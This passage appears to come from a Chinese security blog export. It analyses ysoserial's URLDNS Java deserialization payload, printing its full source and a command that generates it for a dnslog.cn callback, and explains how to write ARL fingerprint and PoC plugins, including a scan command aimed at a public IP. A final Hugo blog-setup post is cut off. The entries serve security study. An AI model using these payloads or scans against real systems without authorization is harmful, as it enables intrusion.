describing how he modified the Java Commons Collections gadget</span></span><br><span class="line"><span class="comment"> * in ysoserial to open a URL. This takes the same idea, but eliminates</span></span><br><span class="line"><span class="comment"> * the dependency on Commons Collections and does a DNS lookup with just</span></span><br><span class="line"><span class="comment"> * standard JDK classes.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * The Java URL class has an interesting property on its equals and</span></span><br><span class="line"><span class="comment"> * hashCode methods. The URL class will, as a side effect, do a DNS lookup</span></span><br><span class="line"><span class="comment"> * during a comparison (either equals or hashCode).</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * As part of deserialization, HashMap calls hashCode on each key that it</span></span><br><span class="line"><span class="comment"> * deserializes, so using a Java URL object as a serialized key allows</span></span><br><span class="line"><span class="comment"> * it to trigger a DNS lookup.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Gadget Chain:</span></span><br><span class="line"><span class="comment"> * HashMap.readObject()</span></span><br><span class="line"><span class="comment"> * HashMap.putVal()</span></span><br><span class="line"><span class="comment"> * HashMap.hash()</span></span><br><span class="line"><span class="comment"> * URL.hashCode()</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@SuppressWarnings({ "rawtypes", "unchecked" })</span></span><br><span class="line"><span class="meta">@PayloadTest(skip = "true")</span></span><br><span class="line"><span class="meta">@Dependencies()</span></span><br><span class="line"><span class="meta">@Authors({ Authors.GEBL })</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">URLDNS</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span><<span class="title">Object</span>> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">getObject</span><span class="params">(<span class="keyword">final</span> String url)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"></span><br><span class="line"> <span class="comment">//Avoid DNS resolution during payload creation</span></span><br><span class="line"> <span class="comment">//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.</span></span><br><span class="line"> URLStreamHandler handler = <span class="keyword">new</span> SilentURLStreamHandler();</span><br><span class="line"></span><br><span class="line"> HashMap ht = <span class="keyword">new</span> HashMap(); <span class="comment">// HashMap that will contain the URL</span></span><br><span class="line"> URL u = <span class="keyword">new</span> URL(<span class="keyword">null</span>, url, handler); <span class="comment">// URL to use as the Key</span></span><br><span class="line"> ht.put(u, url); <span class="comment">//The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.</span></span><br><span class="line"></span><br><span class="line"> Reflections.setFieldValue(u, <span class="string">"hashCode"</span>, -<span class="number">1</span>); <span class="comment">// During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> ht;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">final</span> String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> PayloadRunner.run(URLDNS.class, args);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.</span></span><br><span class="line"><span class="comment"> * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior</span></span><br><span class="line"><span class="comment"> * using the serialized object.</p></span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <b>Potential false negative:</b></span></span><br><span class="line"><span class="comment"> * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the</span></span><br><span class="line"><span class="comment"> * second resolution.</p></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">static</span> <span class="class"><span class="keyword">class</span> <span class="title">SilentURLStreamHandler</span> <span class="keyword">extends</span> <span class="title">URLStreamHandler</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> URLConnection <span class="title">openConnection</span><span class="params">(URL u)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> <span class="keyword">synchronized</span> InetAddress <span class="title">getHostAddress</span><span class="params">(URL u)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>ysoserial实现了一个SilentURLStreamHandler类,并重写了InetAddress.getHostAddress()方法,使其返回null。这样生成payload时调用到此处直接返回null,并不会进行dns请求。</p><p>但是此处存在一个疑问,ysoserial重写了InetAddress.getHostAddress()让其放回null,那么我们反序列化还怎么让它进行dns请求呢?</p><p>主要看这里。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Avoid DNS resolution during payload creation</span></span><br><span class="line"> <span class="comment">//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.</span></span><br><span class="line"> URLStreamHandler handler = <span class="keyword">new</span> SilentURLStreamHandler();</span><br><span class="line"></span><br><span class="line"> HashMap ht = <span class="keyword">new</span> HashMap(); <span class="comment">// HashMap that will contain the URL</span></span><br><span class="line"> URL u = <span class="keyword">new</span> URL(<span class="keyword">null</span>, url, handler); <span class="comment">// URL to use as the Key</span></span><br></pre></td></tr></table></figure><p>ysoserial做了解释<code>Since the field <code>java.net.URL.handler</code> is transient</code> handler是瞬态的。</p><p>进入URL类查看handler属性,handler之前有一个transient关键字。</p><p><img src="5.2.png" alt="5.2"></p><p>transient关键字介绍:<br><img src="5.1.png" alt="5.1"></p><p>所以handler属性在序列化时并被序列化。这样在进行反序列化时handler为默认的URLStreamHandler类属性,继续执行URLStreamHandler类里的InetAddress.getHostAddress()方法。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">java -agentlib:jdwp=transport=dt_socket,server=n,address=LAPTOP-50N17D1J:5005,suspend=y -jar ysoserial-0.0.6-SNAPSHOT-all.jar</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">java -agentlib:jdwp=transport=dt_socket,server=n,address=10.45.9.48:5005,suspend=y -jar ysoserial-0.0.6-SNAPSHOT-all.jar</span><br></pre></td></tr></table></figure><h2 id="0x06-ysoserial调试"><a href="#0x06-ysoserial调试" class="headerlink" title="0x06 ysoserial调试"></a>0x06 ysoserial调试</h2><p>ysoserial可以idea起端口,ysoserial链接进行调试。</p><ol><li><p>首先在建立一个远程调试端口:<br><img src="6.1.png" alt="6.1"></p></li><li><p>点击debug进入监听状态</p></li><li><p>terminal输入ysoserial启动语句(不同版本可能不一样,可以直接复制command line argument for remote JVM 去掉<>两个参数,根据实际需求修改)</p></li></ol><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -agentlib:jdwp=transport=dt_socket,server=n,address=<span class="number">10.45</span><span class="number">.9</span><span class="number">.48</span>:<span class="number">5005</span>,suspend=y -jar ysoserial-<span class="number">0.0</span><span class="number">.6</span>-SNAPSHOT-all.jar URLDNS <span class="string">"http://maazpy.dnslog.cn"</span></span><br></pre></td></tr></table></figure><p><img src="6.2.png" alt="6.2"></p><p>生成payload时执行到SilentURLStreamHandler的getHostAddress()方法返回null,就不会产生dns请求。</p><h2 id="0x07-参考"><a href="#0x07-参考" class="headerlink" title="0x07 参考"></a>0x07 参考</h2><p>p神知识星球-反序列化系列(1-3)</p><p><a href="https://www.anquanke.com/post/id/201762">JAVA反序列化-ysoserial-URLDNS</a></p><p><a href="http://wjlshare.com/archives/1493">Java反序列化-URLDNS</a></p>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
<tags>
<tag> 反序列化URLDNS </tag>
<tag> 反序列化 </tag>
<tag> URLDNS </tag>
</tags>
</entry>
<entry>
<title>arl_poc编写</title>
<link href="/2021/07/01/arl_poc%E7%BC%96%E5%86%99/"/>
<url>/2021/07/01/arl_poc%E7%BC%96%E5%86%99/</url>
<content type="html"><![CDATA[<p>最新版的arl增加了poc编写与探测的功能。打算自己编写一些常用poc来提高杀伤力。</p><p>因为主要用来做资产发现,本人更注重于指纹识别以及一些简单的poc探测。主要关注一下几个方面</p><h3 id="指纹识别:"><a href="#指纹识别:" class="headerlink" title="指纹识别:"></a>指纹识别:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">shiro</span><br><span class="line">struts2</span><br><span class="line">weblogic</span><br><span class="line">spring</span><br><span class="line">solr</span><br></pre></td></tr></table></figure><h3 id="简单的poc探测:"><a href="#简单的poc探测:" class="headerlink" title="简单的poc探测:"></a>简单的poc探测:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">springboot未授权</span><br><span class="line">swagger接口文档发现</span><br><span class="line">...</span><br></pre></td></tr></table></figure><h3 id="敏感资产发现:"><a href="#敏感资产发现:" class="headerlink" title="敏感资产发现:"></a>敏感资产发现:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">系统后台</span><br><span class="line">管理系统</span><br><span class="line">...</span><br></pre></td></tr></table></figure><h2 id="1-arl-poc框架"><a href="#1-arl-poc框架" class="headerlink" title="1. arl poc框架"></a>1. arl poc框架</h2><p>arl poc工具存在于v2.3.1镜像中。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker pull tophant/arl:v2.3.1</span><br></pre></td></tr></table></figure><p>进入镜像:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">docker exec -it arl_web /bin/bash</span><br><span class="line"></span><br><span class="line">find / -name poc</span><br><span class="line"></span><br><span class="line">cd /opt/ARL-NPoC/xing/ # 进入poc框架目录,可直接将ARL-NPoC打包拷贝出来进行本地使用</span><br></pre></td></tr></table></figure><p>Arl-npoc本地使用:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">xing -h</span><br><span class="line">usage: xing [-h] [--version] [--quit]</span><br><span class="line"> [--log {debug,info,success,warning,error}]</span><br><span class="line"> {list,scan,sniffer,exploit,brute} ...</span><br><span class="line"></span><br><span class="line">positional arguments:</span><br><span class="line"> {list,scan,sniffer,exploit,brute}</span><br><span class="line"> 子命令</span><br><span class="line"> list 显示插件</span><br><span class="line"> scan 扫描</span><br><span class="line"> sniffer 协议识别</span><br><span class="line"> exploit 漏洞利用</span><br><span class="line"> brute 弱口令爆破</span><br><span class="line"></span><br><span class="line">optional arguments:</span><br><span class="line"> -h, --help show this help message and exit</span><br><span class="line"> --version, -V show program's version number and exit</span><br><span class="line"> --quit, -q 安静模式 (default: False)</span><br><span class="line"> --log {debug,info,success,warning,error}, -L {debug,info,success,warning,error}</span><br><span class="line"> 日志等级 (default: info)</span><br></pre></td></tr></table></figure><p>针对单个目标探测;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xing scan -t http://218.75.7.27:8089/</span><br></pre></td></tr></table></figure><h2 id="2-如何编写"><a href="#2-如何编写" class="headerlink" title="2.如何编写"></a>2.如何编写</h2><h3 id="2-1-各个函数的意义"><a href="#2-1-各个函数的意义" class="headerlink" title="2.1 各个函数的意义"></a>2.1 各个函数的意义</h3><h3 id="init-初始化函数。"><a href="#init-初始化函数。" class="headerlink" title="__init()__:初始化函数。"></a><code>__init()__</code>:初始化函数。</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="built_in">super</span>(Plugin, self).__init__()</span><br><span class="line"> <span class="comment"># 插件类型poc</span></span><br><span class="line"> self.plugin_type = PluginType.POC</span><br><span class="line"> <span class="comment"># 插件name</span></span><br><span class="line"> self.vul_name = <span class="string">"泛微 Ecology getdata.jsp SQL注入漏洞"</span></span><br><span class="line"> <span class="comment"># 探测组件name</span></span><br><span class="line"> self.app_name = <span class="string">'Ecology'</span></span><br><span class="line"> <span class="comment"># 探测协议?</span></span><br><span class="line"> self.scheme = [SchemeType.HTTP, SchemeType.HTTPS]</span><br></pre></td></tr></table></figure><h3 id="verify-验证函数。"><a href="#verify-验证函数。" class="headerlink" title="verify():验证函数。"></a><code>verify()</code>:验证函数。</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">verify</span>(<span class="params">self, target</span>):</span> <span class="comment">#参数target</span></span><br><span class="line"></span><br><span class="line"><span class="comment">### `http_req()`:请求函数。</span></span><br><span class="line"></span><br><span class="line">```python</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">http_req</span>(<span class="params">url, method = <span class="string">'get'</span>, **kwargs</span>):</span> <span class="comment">#传入url,请求方法get,post....</span></span><br></pre></td></tr></table></figure><p>post请求实例:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http_req(url, <span class="string">'post'</span>, data=data)</span><br></pre></td></tr></table></figure><h3 id="http-req-处理方法。"><a href="#http-req-处理方法。" class="headerlink" title="http_req()处理方法。"></a>http_req()处理方法。</h3><h4 id="1-content-获取响应包"><a href="#1-content-获取响应包" class="headerlink" title="1. content(): # 获取响应包"></a>1. content(): # 获取响应包</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">conn = http_req(url, <span class="string">"get"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="string">b"GitLab"</span> <span class="keyword">not</span> <span class="keyword">in</span> conn.content:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br></pre></td></tr></table></figure><h4 id="2-json-json处理响应包"><a href="#2-json-json处理响应包" class="headerlink" title="2. json(): # json处理响应包"></a>2. json(): # json处理响应包</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">conn = http_req(url, <span class="string">"get"</span>)</span><br><span class="line">data = conn.json()</span><br></pre></td></tr></table></figure><h4 id="3-status-code:-获取响应值"><a href="#3-status-code:-获取响应值" class="headerlink" title="3. status_code: #获取响应值"></a>3. status_code: #获取响应值</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">conn = http_req(url, <span class="string">"get"</span>, auth=(user, passwd))</span><br><span class="line"><span class="keyword">if</span> conn.status_code == <span class="number">200</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span></span><br></pre></td></tr></table></figure><h4 id="4-text-获取响应体。和content类似吧"><a href="#4-text-获取响应体。和content类似吧" class="headerlink" title="4. text: #获取响应体。和content类似吧"></a>4. text: #获取响应体。和content类似吧</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">conn = http_req(url, <span class="string">"get"</span>)</span><br><span class="line">pattern = <span class="string">r'<meta\s+name="csrf-token"\s+content="([^\"]+)+"\s+/>'</span></span><br><span class="line">matches = re.findall(pattern=pattern, string=conn.text)</span><br></pre></td></tr></table></figure><h4 id="5-headers-get-获取响应头"><a href="#5-headers-get-获取响应头" class="headerlink" title="5. headers.get() # 获取响应头"></a>5. headers.get() # 获取响应头</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">conn = http_req(url, <span class="string">"get"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> self._check_str <span class="keyword">not</span> <span class="keyword">in</span> conn.headers.get(<span class="string">"WWW-Authenticate"</span>, <span class="string">""</span>):</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br></pre></td></tr></table></figure><h4 id="6-self-logger-debug-信息回显"><a href="#6-self-logger-debug-信息回显" class="headerlink" title="6.self.logger.debug() #信息回显"></a>6.self.logger.debug() #信息回显</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">self.logger.debug(<span class="string">"not Ecology {}"</span>.<span class="built_in">format</span>(target))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">init_logger</span>():</span></span><br><span class="line"> log_colors = {</span><br><span class="line"> <span class="string">'DEBUG'</span>: <span class="string">'white'</span>,</span><br><span class="line"> <span class="string">'INFO'</span>: <span class="string">'green'</span>,</span><br><span class="line"> <span class="string">'SUCCESS'</span>: <span class="string">'red'</span>,</span><br><span class="line"> <span class="string">'WARNING'</span>: <span class="string">'yellow'</span>,</span><br><span class="line"> <span class="string">'ERROR'</span>: <span class="string">'red'</span>,</span><br><span class="line"> <span class="string">'CRITICAL'</span>: <span class="string">'bold_red'</span>,</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h2 id="3-如何优雅的编写"><a href="#3-如何优雅的编写" class="headerlink" title="3.如何优雅的编写"></a>3.如何优雅的编写</h2><p>因为手里有很多的json指纹文件和poc,一个个手动转成arl的poc不太现实。编写脚本自动根据arl的poc格式生成poc脚本。</p><h3 id="指纹自动生成:"><a href="#指纹自动生成:" class="headerlink" title="指纹自动生成:"></a>指纹自动生成:</h3><p>python脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> json</span><br><span class="line"></span><br><span class="line">finger_file = <span class="string">'aspx.json'</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">str</span> = <span class="string">"""</span></span><br><span class="line"><span class="string">from xing.core.BasePlugin import BasePlugin</span></span><br><span class="line"><span class="string">from xing.utils import http_req, get_logger</span></span><br><span class="line"><span class="string">from xing.core import PluginType, SchemeType</span></span><br><span class="line"><span class="string">import requests</span></span><br><span class="line"><span class="string">import hashlib</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">class Plugin(BasePlugin):</span></span><br><span class="line"><span class="string"> def __init__(self):</span></span><br><span class="line"><span class="string"> super(Plugin, self).__init__()</span></span><br><span class="line"><span class="string"> self.plugin_type = PluginType.POC</span></span><br><span class="line"><span class="string"> self.vul_name = "发现{{name}}"</span></span><br><span class="line"><span class="string"> self.app_name = '{{name}}'</span></span><br><span class="line"><span class="string"> self.scheme = [SchemeType.HTTP, SchemeType.HTTPS]</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> def verify(self, target):</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line">html = <span class="string">"""</span></span><br><span class="line"><span class="string"> url = target + "{{uri}}"</span></span><br><span class="line"><span class="string"> if b'{{html}}' in http_req(url).content:</span></span><br><span class="line"><span class="string"> self.logger.success("found {{name}} {}".format(url))</span></span><br><span class="line"><span class="string"> return url</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line">md5 = <span class="string">"""</span></span><br><span class="line"><span class="string"> url = target + "{{uri}}"</span></span><br><span class="line"><span class="string"> con = http_req(url).content</span></span><br><span class="line"><span class="string"> hl = hashlib.md5()</span></span><br><span class="line"><span class="string"> hl.update(con)</span></span><br><span class="line"><span class="string"> md5 = hl.hexdigest()</span></span><br><span class="line"><span class="string"> if md5 == '{{poc_md5}}':</span></span><br><span class="line"><span class="string"> self.logger.success("found {{name}} {}".format(url))</span></span><br><span class="line"><span class="string"> return url</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write_file</span>(<span class="params">filename, str2</span>):</span></span><br><span class="line"> fo = <span class="built_in">open</span>(filename, <span class="string">"a"</span>)</span><br><span class="line"> fo.write(str2)</span><br><span class="line"> fo.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">check</span>(<span class="params">name, rule, file_name</span>):</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'md5'</span> <span class="keyword">in</span> rule:</span><br><span class="line"> tmp_md5 = <span class="string">''</span></span><br><span class="line"> tmp_md5 = md5.replace(<span class="string">"{{poc_md5}}"</span>, rule[<span class="string">'md5'</span>])</span><br><span class="line"> tmp_md5 = tmp_md5.replace(<span class="string">"{{uri}}"</span>, rule[<span class="string">'uri'</span>])</span><br><span class="line"> tmp_md5 = tmp_md5.replace(<span class="string">"{{name}}"</span>, name)</span><br><span class="line"> write_file(file_name, tmp_md5)</span><br><span class="line"> <span class="keyword">elif</span> <span class="string">'html'</span> <span class="keyword">in</span> rule:</span><br><span class="line"> tmp_html = html.replace(<span class="string">"{{html}}"</span>, rule[<span class="string">'html'</span>])</span><br><span class="line"> tmp_html = tmp_html.replace(<span class="string">"{{uri}}"</span>, rule[<span class="string">'uri'</span>])</span><br><span class="line"> write_file(file_name, tmp_html)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">parser</span>(<span class="params">finger_file</span>):</span></span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(finger_file) <span class="keyword">as</span> f:</span><br><span class="line"> fin_data = json.load(f)</span><br><span class="line"> <span class="comment"># print(fin_data)</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> fin_dict <span class="keyword">in</span> fin_data:</span><br><span class="line"> name = fin_dict</span><br><span class="line"> file_name = name.replace(<span class="string">" "</span>, <span class="string">"_"</span>) + <span class="string">'_Identify.py'</span></span><br><span class="line"> tmp_str = <span class="built_in">str</span>.replace(<span class="string">"{{name}}"</span>, name)</span><br><span class="line"> write_file(file_name, tmp_str)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(fin_data[fin_dict])):</span><br><span class="line"> rule = fin_data[fin_dict][i]</span><br><span class="line"> check(name, rule, file_name)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">parser(finger_file)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>运行即可将指定的json指纹文件生成arl格式的指纹文件:</p><p><img src="3.1.png" alt="3.1"></p><h3 id="生成指纹测试:"><a href="#生成指纹测试:" class="headerlink" title="生成指纹测试:"></a>生成指纹测试:</h3><p>自动生成的指纹可能存在很多的问题,可在本地简单测试保证不爆红之后再同步到远程arl。</p><p>将ARL-NPoC拷贝到本地,按照readme提示安装:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pip3 install -e . # 安装依赖</span><br><span class="line">python3 setup.py --help-commands # 查看安装命令帮助</span><br><span class="line">python3 setup.py install # 安装</span><br></pre></td></tr></table></figure><p>安装到本地之后可通过xing -h查看是否安装成功:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xing -h</span><br></pre></td></tr></table></figure><p><img src="3.2.png" alt="3.1"></p><p>提示帮助的同时也会加载编写好的插件,错误的插件会报错,此时就可以针对这些报错的插件做针对性修改。</p><h3 id="指纹同步到远程服务器:"><a href="#指纹同步到远程服务器:" class="headerlink" title="指纹同步到远程服务器:"></a>指纹同步到远程服务器:</h3><p>这里有一个很大的坑点,我将poc同步到arl_web这个容器中。在容器里运行测试poc是成功的</p><p><img src="3.3.png" alt="3.1"></p><p>但是我搭建在服务器上的arl测试却没有没有探测到。坑了我好久,最后去github 提issues。作者回答说要同步到arl_web和arl_work两个容器……</p><p><img src="3.4.png" alt="3.1"></p><p>最后同时拷贝到arl_web和are_work两个容器,指纹poc就能使用了。src/红队又多了一个好帮手。</p>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
<tags>
<tag> arl poc </tag>
<tag> arl </tag>
<tag> poc编写 </tag>
</tags>
</entry>
<entry>
<title>hugo+github page搭建自定义域名的https博客</title>
<link href="/2021/06/05/hugo+github%20page%E6%90%AD%E5%BB%BA%E8%87%AA%E5%AE%9A%E4%B9%89%E5%9F%9F%E5%90%8D%E7%9A%84https%E5%8D%9A%E5%AE%A2/"/>
<url>/2021/06/05/hugo+github%20page%E6%90%AD%E5%BB%BA%E8%87%AA%E5%AE%9A%E4%B9%89%E5%9F%9F%E5%90%8D%E7%9A%84https%E5%8D%9A%E5%AE%A2/</url>
<content type="html"><![CDATA[<h2 id="1-部署hugo"><a href="#1-部署hugo" class="headerlink" title="1.部署hugo"></a>1.部署hugo</h2><h3 id="mac安装Hugo:"><a href="#mac安装Hugo:" class="headerlink" title="mac安装Hugo:"></a>mac安装Hugo:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">brew install hugo</span><br><span class="line">hugo version 查看hugo版本 </span><br></pre></td></tr></table></figure><h3 id="hugo创建博客"><a href="#hugo创建博客" class="headerlink" title="hugo创建博客:"></a>hugo创建博客:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hugo new site h11ba1.com #在当前目录下创建h11ba1.com文件夹</span><br></pre></td></tr></table></figure><h3 id="生成新的文章:"><a href="#生成新的文章:" class="headerlink" title="生成新的文章:"></a>生成新的文章:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hugo new posts/first-post.md</span><br></pre></td></tr></table></figure><h3 id="文章内容如下:"><a href="#文章内容如下:" class="headerlink" title="文章内容如下:"></a>文章内容如下:</h3><figure class="highlight markdown"><table><tr><td 